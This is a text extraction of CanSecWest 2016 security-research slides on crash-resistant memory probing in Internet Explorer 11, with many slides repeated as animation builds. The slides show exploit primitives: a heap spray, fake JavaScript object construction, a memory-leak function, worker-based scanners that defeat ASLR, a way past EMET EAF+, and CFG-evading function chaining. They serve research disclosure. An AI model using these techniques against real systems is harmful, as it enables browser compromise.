Bypassing Different Defense Schemes via Crash-Resistant Probing of - - PowerPoint PPT Presentation

bypassing different defense schemes via crash resistant
SMART_READER_LITE
LIVE PREVIEW

Bypassing Different Defense Schemes via Crash-Resistant Probing of - - PowerPoint PPT Presentation

Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space Robert Gawlik Ruhr University Bochum Horst Grtz Institute for IT-Security Bochum, Germany About me Playing with InfoSec since 2010 Currently in academia


slide-1
SLIDE 1

Bypassing Different Defense Schemes via Crash-Resistant Probing of Address Space

Ruhr University Bochum Horst Görtz Institute for IT-Security Bochum, Germany

Robert Gawlik

slide-2
SLIDE 2

CanSecWest 2016

About me

  • Playing with InfoSec since 2010
  • Currently in academia at Systems Security Group @

Horst Görtz Institute / Ruhr University Bochum

  • Focusing on binary analysis / attacks / defenses /

static and dynamic analysis

  • Little time for bug hunting and exploiting
  • Fun fact: Recently discovered favorite toy: DynamoRIO
slide-3
SLIDE 3

CanSecWest 2016

Agenda

  • Crash-Resistance
  • Crash-Resistance in IE 32-bit (CVE 2015-6161)
  • Memory Scanning : Bypass ASLR
  • Export Resolving : Bypass EMET's EAF+
  • Function Chaining : Bypass Control Flow Guard &

EMET's UNC library path restriction

  • Crash-Tolerant Function Dispatching : Fun !
  • Mitigations/Fixes
slide-4
SLIDE 4

Crash-Resistance

slide-5
SLIDE 5

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Crash-Resistance

slide-6
SLIDE 6

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Crash-Resistance

  • Set timer callback crash()
slide-7
SLIDE 7

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Crash-Resistance

  • Set timer callback crash()
  • Dispatch crash() each ms
slide-8
SLIDE 8

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Crash-Resistance

  • Set timer callback crash()
  • Dispatch crash() each ms
  • crash() generates a fault on

first execution

slide-9
SLIDE 9

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Program should terminate abnormally Crash-Resistance

  • Set timer callback crash()
  • Dispatch crash() each ms
  • crash() generates a fault on

first execution

slide-10
SLIDE 10

CanSecWest 2016

Crash-Resistance

slide-11
SLIDE 11

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Instead: Program runs endlessly

Crash-Resistance

  • Set timer callback crash()
  • Dispatch crash() each ms
  • crash() generates a fault on

first execution

slide-12
SLIDE 12

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Crash-Resistance

  • Set timer callback crash()
  • Dispatch crash() each ms
  • crash() generates a fault on

first execution

slide-13
SLIDE 13

CanSecWest 2016

Crash-Resistance

0:000:x86> g (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=?? 0:000:x86> gn (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=?? 0:000:x86> !exchain [...] 0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895

slide-14
SLIDE 14

CanSecWest 2016

Crash-Resistance

0:000:x86> g (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=?? 0:000:x86> gn (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=?? 0:000:x86> !exchain [...] 0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895

pass exception unhandled

slide-15
SLIDE 15

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

DispatchMessage: __try { crash() } __except(filter) { } return

Crash-Resistance

execute handler continue execution access violation filter returns 1

Behind the Scenes (Simplified)

slide-16
SLIDE 16

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

DispatchMessage: __try { crash() } __except(filter) { } return

Crash-Resistance

Behind the Scenes (Simplified)

slide-17
SLIDE 17

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Crash-Resistance

If a fault is generated, execution is transferred to the end

  • f the loop

Program continues running despite producing faults

Behind the Scenes (Simplified)

slide-18
SLIDE 18

CanSecWest 2016

char* addr = 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } }

Crash-Resistance

If a fault is generated, execution is transferred to the end

  • f the loop

Program continues running despite producing faults

Behind the Scenes (Simplified)

slide-19
SLIDE 19

CanSecWest 2016

Crash-Resistance

DEMO 1

slide-20
SLIDE 20

CanSecWest 2016

Crash-Resistance

  • Similar issues:
  • ”Why it's not crashing ?” [1]
  • ANI Vulnerability (CVE 2007-0038) [2]
  • ”Escaping VMware Workstation through COM1”

(JPEG2000 parsing) [3]

  • ”The Art of Leaks” (exploit reliability) [4]
slide-21
SLIDE 21

Crash-Resistance in Internet Explorer 11

slide-22
SLIDE 22

CanSecWest 2016

Crash-Resistance in IE 11

  • Start worker
  • Launch timed callback() with setInterval()
  • callback() function may produce access violations without

forcing IE into termination (b): if callback() produces no fault, it is executed completely and then started anew (a): if an AV is triggered in callback(), then callback() stops running and is executed anew JS callback() set with setInterval() or setTimeout() in web worker is crash-resistant:

→ usable as side channel

slide-23
SLIDE 23

Crashless Memory Scanning in Internet Explorer 11

slide-24
SLIDE 24

CanSecWest 2016

Memory Scanning

  • Spray the heap
  • Use vulnerabilty to change a byte

→ Create a type confusion and craft fake JS objects

  • Utilize fake objects in web worker with setInterval() to scan

memory in a crash-resistant way → Discover Thread Environment Block (TEB) → Discover DLL Base Addresses

  • Don't control EIP yet – instead: use only JS

The Plan:

→ bypass ASLR

slide-25
SLIDE 25

CanSecWest 2016

Memory Scanning

Spray the heap

  • Alternate between Object Arrays and Integer Arrays
  • Object Arrays become aligned to 0xYYYY0000
  • Integer Arrays become aligned to +f000 +f400 +f800 +fc00

→ Object Array: ObjArr[0] = new String() // saved as reference; bit 0 never set ObjArr[1] = 4 // integer saved as 9 = 4 << 1 | 1 → Integer Array: IntArr[0] = 4 // saved as 4

slide-26
SLIDE 26

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

slide-27
SLIDE 27

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

header space

slide-28
SLIDE 28

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

first element

slide-29
SLIDE 29

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010

slide-30
SLIDE 30

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010 Why this odd index ? (0x100 – 0x10 + 4) / 4 IntArr is aligned to 0x1011f000 – 0x10: occupied header space + 0x100: offset to 0x1011f100 + 0x4: element offset / 0x4: element size → We can expect the element to reside at 0x1011f104

slide-31
SLIDE 31

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010 IntArr is aligned to 0x1011f000 : first element resides at 0x1011f010 0x10 bytes are taken as header space

slide-32
SLIDE 32

CanSecWest 2016

Memory Scanning

Spray the heap

0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0

0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'

IntArr[0] = 00000000 IntArr[(0x100 - 0x10) / 4] = 0x1011f010 Almost! We need to change 01 to 00: → IE will interpret ObjArr[0] as object reference and not as number. → Additionally, we control IntArr: We could set all fields of the object referenced by ObjArr[0]

slide-33
SLIDE 33

CanSecWest 2016

Memory Scanning

Trigger a vulnerability to change a byte

  • Use a rewriting Use-After-Free [5], e.g., CVE 2014-0322 (IE10):

inc [eax+0x10] → eax is attacker controlled → possible to change an arbitrary byte and continue execution in JavaScript OR

  • Single NULL byte write to attacker chosen address

→ create a type confusion (0x1011f101 becomes 1011f100) => ObjArr[0] is interpreted as object

slide-34
SLIDE 34

CanSecWest 2016

Memory Scanning

Creating fake JS Objects jscript9!Js::LiteralString looks like :

typedef struct LiteralString_{ /*0x0*/ VOID* vtable_ptr; /*0x4*/ VOID* type_ptr; // points to type object /*0x8*/ UINT len; /*0xc*/ WCHAR* buf; // string content } LiteralString;

  • ffset = (0x100 – 0x10) / 4

IntArr[0] = 00000007 // type @ 0x1011f010 IntArr[offset] = 0x41414141 // bogus vtable IntArr[offset + 0x4] = 0x1011f010 // points to type IntArr[offset + 0x8] = 0x2 // length IntArr[offset + 0xc] = 0x400000 // address of content

slide-35
SLIDE 35

CanSecWest 2016

Memory Scanning

Creating fake JS Objects fakeString = ObjArr[0] // get object element located at 0x1011f100 leak = escape(fakeString) // leak 0x4 bytes from 0x400000 → we have set 0x41414141 as vtable ptr, but escape() still works → fakeString.substring() does not work → vtable lookup → AV

  • We can now leak already all the things!

function leak(addr){ intArr[offset + 0xc] = addr return to_dword(unescape(escape(ObjArr[0]))) }

slide-36
SLIDE 36

CanSecWest 2016

Memory Scanning

Creating fake JS Objects

  • Example: leak vtable ptr and type ptr to sanitize fakeString

ObjArr[1] = ”bla” // create LiteralString (ref @ 0x10110024) str_addr = leak(0x10110024) str_vtable_ptr = leak(str_addr) str_type_ptr = leak(str_addr + 4) IntArr[offset] = str_vtable_ptr // give fakeString a real vptr! IntArr[offset + 4] = str_type_ptr // real type ptr!

→ fakeString.substring() should work now :)

  • We can build arbitrary JS objects if we know their structure
  • We don't have a write-what-where interface yet

→ Build your own Uint32Array() to RW complete memory

slide-37
SLIDE 37

CanSecWest 2016

Memory Scanning

Creating fake JS Objects

  • Exercise: Build your own Uint32Array()
  • Inaccurate hint:

typedef struct Uint32Array_{ /*0x00*/ VOID* vtable_ptr; /*0x04*/ VOID* type_ptr; /*0x08*/ INT NULL; /*0x0c*/ INT NULL; /*0x10*/ VOID* arrayBufferObjectPtr; // can be unset /*0x14*/ INT elemSize; // 4 /*0x18*/ INT arrayBufferOffset; /*0x1c*/ INT nrElements; // 0x7fffffff/4 /*0x20*/ VOID* bufferPtr; // set to 0 /*0x24*/ INT NULL; /*0x28*/ INT NULL; /*0x2c*/ INT NULL; } Uint32Array;

slide-38
SLIDE 38

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Where are we now?

We have fake String and Typed Array objects usable to read and write the address space → arbitrary information leak → arbitrary memory write

→ Use fake objects for crash-resistant scanning

slide-39
SLIDE 39

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread Environment Block

0:020> !teb TEB at 7f156000 0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000 0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB

TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?

slide-40
SLIDE 40

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread Environment Block

0:020> !teb TEB at 7f156000 0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000 0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB

TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ? Heuristic yields TEB if we read at the right place → Afterwards, PEB can be resolved Normally we cannot leak the TEB as no references exist to it

slide-41
SLIDE 41

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread Environment Block

/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }

slide-42
SLIDE 42

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread Environment Block

/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
slide-43
SLIDE 43

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread Environment Block

/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
  • set address to probe
slide-44
SLIDE 44

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread Environment Block

/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
  • set address to probe

→ leak() creates implicit flow:

if addr != mapped: return

slide-45
SLIDE 45

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread Environment Block

/* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
  • set address to probe

→ leak() creates implicit flow:

if addr != mapped: return

→ use heuristic to discover TEB and leak PEB + LdrData

slide-46
SLIDE 46

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover a Thread-Environment Block
slide-47
SLIDE 47

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover module base addresses directly

/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }

slide-48
SLIDE 48

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover module base addresses directly

/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
slide-49
SLIDE 49

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover module base addresses directly

/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
  • address to probe (64K alignment)
slide-50
SLIDE 50

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover module base addresses directly

/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
  • address to probe (64K alignment)
  • get leak or return
slide-51
SLIDE 51

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover module base addresses directly

/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
  • address to probe (64K alignment)
  • get leak or return

→ if leak() succeeds check for MZ and PE header (isPE())

slide-52
SLIDE 52

CanSecWest 2016

Memory Scanning

Crash-Resistant Scanning

  • Discover module base addresses directly

/* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }

  • scan() runs crash-resistant
  • address to probe (64K alignment)
  • get leak or return

→ if leak() succeeds check for MZ and PE header (isPE()) → leak more memory: – name of module – size of module

slide-53
SLIDE 53

CanSecWest 2016

Memory Scanning

DEMO 2

slide-54
SLIDE 54

Resolve Exports under EMET

slide-55
SLIDE 55

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

slide-56
SLIDE 56

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

  • EAF: Forbit accesses to Export Address Table based on calling

code (shellcode)

  • EAF+: Block read accesses to Export Address Table originating

from certain modules → EMET's max. security setting for IE (blacklist): mshtml.dll; flash*.ocx; jscript*.dll; vbscript.dll; vgx.dll

EMET5.5

→ can we abuse reads originating from non-blacklisted modules using only JS (no control-flow hijacking)?

slide-57
SLIDE 57

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

  • Yes we can!

→ Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)

  • Worked with large strings but in recent tests it stopped

working (fixed?)

EMET5.5

slide-58
SLIDE 58

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

  • Yes we can!

→ Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)

  • Worked with large strings but in recent tests it stopped

working!!!!!! (fixed?, drunk?)

EMET5.5

?!

slide-59
SLIDE 59

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

  • Yes we can!

→ Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)

  • worked with large strings but in recent tests it stopped

working!!!!!! (fixed?, drunk?)

EMET5.5

There is something better: Use the Blob!

slide-60
SLIDE 60

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

  • Yes we can!

→ Let fakeString point to module base and set module size → Create a Blob of the fakeString object

blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)

EMET5.5

0:024> kp n # ChildEBP RetAddr 00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21 01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4 02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269 03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317 04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9 05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61

slide-61
SLIDE 61

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

  • Yes we can!

→ Let fakeString point to module base and set module size → Create a Blob of the fakeString object

blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob)

EMET5.5

0:024> kp n # ChildEBP RetAddr 00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21 01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4 02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269 03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317 04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9 05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61

Not blacklisted by EAF+

slide-62
SLIDE 62

CanSecWest 2016

Export Resolving

Resolve Exports under EMET 5.2 EAF and EAF+

  • Yes we can!

→ Let fakeString point to module base and set module size → Create a Blob of the fakeString object → Use XMLHttpRequest to retrieve a string copy of the module → Resolve exports within the string copy:

PE = to_dword(DLL.substring(0x3c/2, 0x3c/2 + 2)) p_exp = PE + 0x18 + 0x60 ExportDir = to_dword(DLL.substring(p_exp/2, p_exp/2 + 2)

...

EMET5.5

slide-63
SLIDE 63

CanSecWest 2016

Export Resolving

DEMO 3

slide-64
SLIDE 64

Function Chaining

slide-65
SLIDE 65

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • CFG protects indirect calls
  • Exported functions are allowed, but not all
  • Control Flow Hijacking:

trigger virtual function call with a method of fakeString:

IntArr[offset] = fakeVtable // bogus vtable ptr

fakeString = ObjArr[0] fakeString.whatever()

push fakeString // Arg1: controlled content mov eax, [fakeString] // get vtable ptr call [eax + x] // controlled target

slide-66
SLIDE 66

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Idea:

(1) Collect export functions which have indirect calls (2) Check if indirect call target is a field of first argument (3) Check if parameters for indirect call target are influenced by arguments → Fields of controlled object (first argument) get propagated to parameters before indirect call → chain functions → Last function in chain is the function we want to perform our

  • peration
slide-67
SLIDE 67

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Example function chain:

push fakeString // controlled content mov eax, [fakeString] // get vtable ptr call [eax + 0x20] // fake virtual function (func1) func1(fakeString): ... push [fakeString + 0x10] // = arg3 push [fakeString + 0x04] // = arg2 push fakeString // = arg1 call [fakeString + 0x08] // = func2 func2(arg1, arg2, arg3): ... push arg2 // = [fakeString + 0x04] = CONTEXT* push arg3 // = [fakeString + 0x10] = HANDLE call [arg1 + 0x0c] // = [fakeString + 0x0c] = SetThreadContext

slide-68
SLIDE 68

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Use of networkx [6] and miasm2 [7] to collect suitable exports:

In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI

slide-69
SLIDE 69

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Use of networkx [6] and miasm2 [7] to collect suitable exports:

In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI

→ EIP = [Arg1 + 0x2c]

slide-70
SLIDE 70

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

  • Use of networkx [6] and miasm2 [7] to collect suitable exports:

In RtlInsertElementGenericTableFullAvl :

EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI

→ EIP = [Arg1 + 0x2c]

EBX = Arg1 Param1 = EBX

slide-71
SLIDE 71

CanSecWest 2016

Function Chaining

Staying under the radar of Control Flow Guard (CFG)

